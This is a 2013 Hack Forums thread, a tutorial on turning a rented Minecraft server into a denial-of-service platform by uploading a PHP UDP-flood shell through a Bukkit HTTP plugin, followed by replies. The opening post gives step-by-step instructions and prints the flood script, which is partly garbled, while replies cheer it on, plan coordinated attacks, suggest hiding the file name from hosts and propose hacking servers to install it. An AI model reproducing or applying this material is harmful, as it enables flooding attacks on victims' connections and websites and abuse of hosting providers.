

Forum:[Hack Forums](#)

Thread: [\[TUT\]How to DoS using a Minecraft server\[easy\]](#)

???!?? - October 28, 2013, 5:31 pm

Hello guys

This is my first thread here at HackForums.

How to DoS (or DDoS) using a MineCraft server.

Requirements:

Minecraft host (I only tested on Linux)

PHP DoS shell

Some basic Minecraft server knowledge

Step 1

Get a Minecraft server host where you are going to upload the Shell

(I don't recommend a popular one!)

Step 2

Login to the multicraft panel, choose "Bukkit" or "CraftBukkit" and restart the server.

Spoiler [\(Click to View\)](#)

Step 3

Login to your server using your FTP client, go to your plugins folder and upload [this](#) plugin

Step 4

Reload or restart your server, then browse to the BukkitHTTPD folder in the plugins folder.

Step 5

Upload your PHP shell and name it boot.php

Spoiler [\(Click to View\)](#)PHP Code

```
<?php
<html>
<body>
<title>
Boot From MC server :)
</title>
<font color="00FF00">
<STYLE>
input{
background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
}
body {
```

```

background-color: black;
}
</style>
<br>
<p>
<br>
<p>
<center>
<?php
//UDP
if(isset($_GET['host'])&&isset($_GET['time'])){
    $packets = 0;
    ignore_user_abort(TRUE);
    set_time_limit(0);

    $exec_time = $_GET['time'];

    $time = time();
    //print "Started: ".time('d-m-y h:i:s')."<br>";
    $max_time = $time+$exec_time;

    $host = $_GET['host'];

    for($i=0;$i<65000;$i++){
        $out .= 'X';
    }
    while(1){
        $packets++;
        if(time() > $max_time){
            break;
        }
        $rand = rand(1,65000);
        $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
        }
    }
    echo "<b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) .
    " MB) packets averaging " . round($packets/$exec_time, 2) . " packets per second \n";
    echo '<br><br>';
    <form action="".$_SERVER['$_GET['url']]." method=GET>
    <input type="hidden" name="act" value="phptools">
    Host: <br><input type=text name=host><br>
    Length (seconds): <br><input type=text name=time><br>
    <input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>';
    <form action=? method=GET>
    <input type="hidden" name="act" value="phptools">
    Host: <br><input type=text name=host value=><br>
    Length (seconds): <br><input type=text name=time value=><br><br>
    <input type=submit value=Go></form>';
}
}

```

?>
</center>
</body>
</html>

Step 6

Go to your console or join your server and do /httpd port 8080

Spoiler ([Click to View](#))

Step 7

Go to <http://serverip:8080/boot.php>

Spoiler ([Click to View](#))

Step 8

type in your victim's IP and Time in seconds and press "Go"

If you need help with anything then just PM me and I will get back to you as soon as I can.

Enjoy!

SIM-1538688 - October 28, 2013, 5:33 pm

About how much power do you get out of this? Seems like a sneaky way to boot thought ;3

???I?? - October 28, 2013, 5:51 pm

(Oct 28, 2013 05:33 PM)panton123 Wrote: ([CITE](#)) About how much power do you get out of this?
Seems like a sneaky way to boot thought ;3

The server i used this on (15 seconds):

Completed with 181674 (11532.04 MB) packets averaging 12111.6 packets per second

Dat pps :)

d3adl0ck888 - October 28, 2013, 5:51 pm

Can you get your server taking down and get in big trouble for this?

???I?? - October 28, 2013, 6:08 pm

(Oct 28, 2013 05:51 PM)d3adl0ck888 Wrote: ([CITE](#)) Can you get your server taking down and get in big trouble for this?

I don't know..

Your minecraft server is going to have a massive lag spike while booting, that why i don't recommend a popular hosting company.

Btw guys, don't boot too much.

Some hosting owners can find out it was you :p

Koeda_s - November 4, 2013, 6:18 am

Work..nice tutorial...it's very easy for me DDosing with my 64gb server's

joneh heil - November 4, 2013, 12:50 pm

Cool tutorial. I guess i will try this.

Jacob Baker - November 4, 2013, 12:54 pm

I could see this being useful if alot of your friends do it and you all attack at once :) It would make a

hella cool boot.

???I?? - November 5, 2013, 4:42 pm

(Nov 4, 2013 01:54 PM)Ambush™ Wrote: [\[CITE\]](#) I could see this being useful if alot of your friends do it and you all attack at once :) It would make a hella cool boot.

Yeah lol!

Connect them with a shell hub :p

z0rg - November 11, 2013, 9:23 am

Thanks for this! I have been looking around for awhile and finally found this!

~Axel

?Schock - November 11, 2013, 9:45 am

Vey nice tut and very usefull :) lol using a minecraft server to ddos xD

Rackzen - November 12, 2013, 12:53 pm

very cool method , really like it.. :)

Handsome Banana - November 12, 2013, 1:00 pm

I haven't seen this method before. Nice tutorial. Might have to try this at a later date.

EddietheZombie - November 12, 2013, 2:02 pm

Cool method, easy tutorial - I'll try this as soon as I get the chance.

G??gl? - November 14, 2013, 7:57 am

Vouch for my m8 Wesley, great tutorial !

skittie - November 14, 2013, 8:00 am

(Oct 28, 2013 05:51 PM)wesley023_ Wrote: [\[CITE\]](#) The server i used this on (15 seconds): Completed with 181674 (11532.04 MB) packets averaging 12111.6 packets per second

Dat pps :)

That isn't accurate as it counts the packets sent, not the ones transmitted to the target host.

Get somebody to provide you a dstat to see the real power.

???I?? - November 14, 2013, 8:06 am

(Nov 14, 2013 09:00 AM)skittie Wrote: [\[CITE\]](#) That isn't accurate as it counts the packets sent, not the ones transmitted to the target host.

Get somebody to provide you a dstat to see the real power.

using a good minecraft host (1 Gbps+ connection) will hit home connections and small websites down.

dstat doesn't matter since its a shell you have to upload to a server somewhere with unknown specs.

btw, i didn't use a minecraft server in that post you quoted.

Neonx7FuZion714K - November 14, 2013, 11:06 am

Very useful will try with a server sometime

DeltaGrinch - November 16, 2013, 6:09 am

Thanks for this gonna try this with my minecraft host.

- Bookmarking <3

Stimulating - November 16, 2013, 7:16 am

Nice tutorial, going to try sometime for fun. Thanks!

???I?? - November 16, 2013, 4:47 pm

Nice to hear that you guys like it! :3

pynn1000 - November 16, 2013, 10:35 pm

Nice tutorial, I'll try this and give some feedback!

Royal Blood - November 16, 2013, 10:43 pm

I wouldn't use "boot.php" as that may turn on some hosts to what you're doing.

b001ean - November 16, 2013, 10:45 pm

Very detailed. Nice job!!! All the best

Extremiie - November 17, 2013, 2:05 am

What a great idea haha, thank you sir!

???I?? - December 6, 2013, 4:34 am

Fixed the thread pictures! you can also upload shells like c99.php

xXmonesticXx - December 6, 2013, 4:46 am

Nice tut man i will be using this :p thanks

edimaxx - December 6, 2013, 5:37 am

Great thread man, really high quality tutorial.

CrossFire1010010100 - December 8, 2013, 10:40 pm

I wasn't able to open the boot.php, I named to pvp.php and still there was some weird java errors in the console..

What Bukkit version you where using ? What if the host is Windows does it matter?

radde94 - December 8, 2013, 10:42 pm

This will create some huge errors for minecraft hosters.

???I?? - December 8, 2013, 11:31 pm

(Dec 8, 2013 11:40 PM)CrossFire1010010100 Wrote: [\[CITE\]](#) I wasn't able to open the boot.php, I named to pvp.php and still there was some weird java errors in the console..

What Bukkit version you where using ? What if the host is Windows does it matter?

yeah that does matter lol.

sorry i will edit my thread.

0G_Kush - December 9, 2013, 1:53 am

Thanks. Seems like a sneaky way to boot :p

OLOY - December 9, 2013, 1:57 am

so the next step is to hack minecraft servers and install this shit ^^ lol :P

sooner or later you'll see new booters advertising with "Minecraft server POWAA!"

WrathTheAbaddon - December 21, 2013, 10:11 pm

thanks man, been looking for something like this

Kidney - *December 22, 2013, 6:04 pm*

going to try this once i have my host up thanks

HarveySpecter - *December 22, 2013, 7:46 pm*

Great going to give this a try in a bit.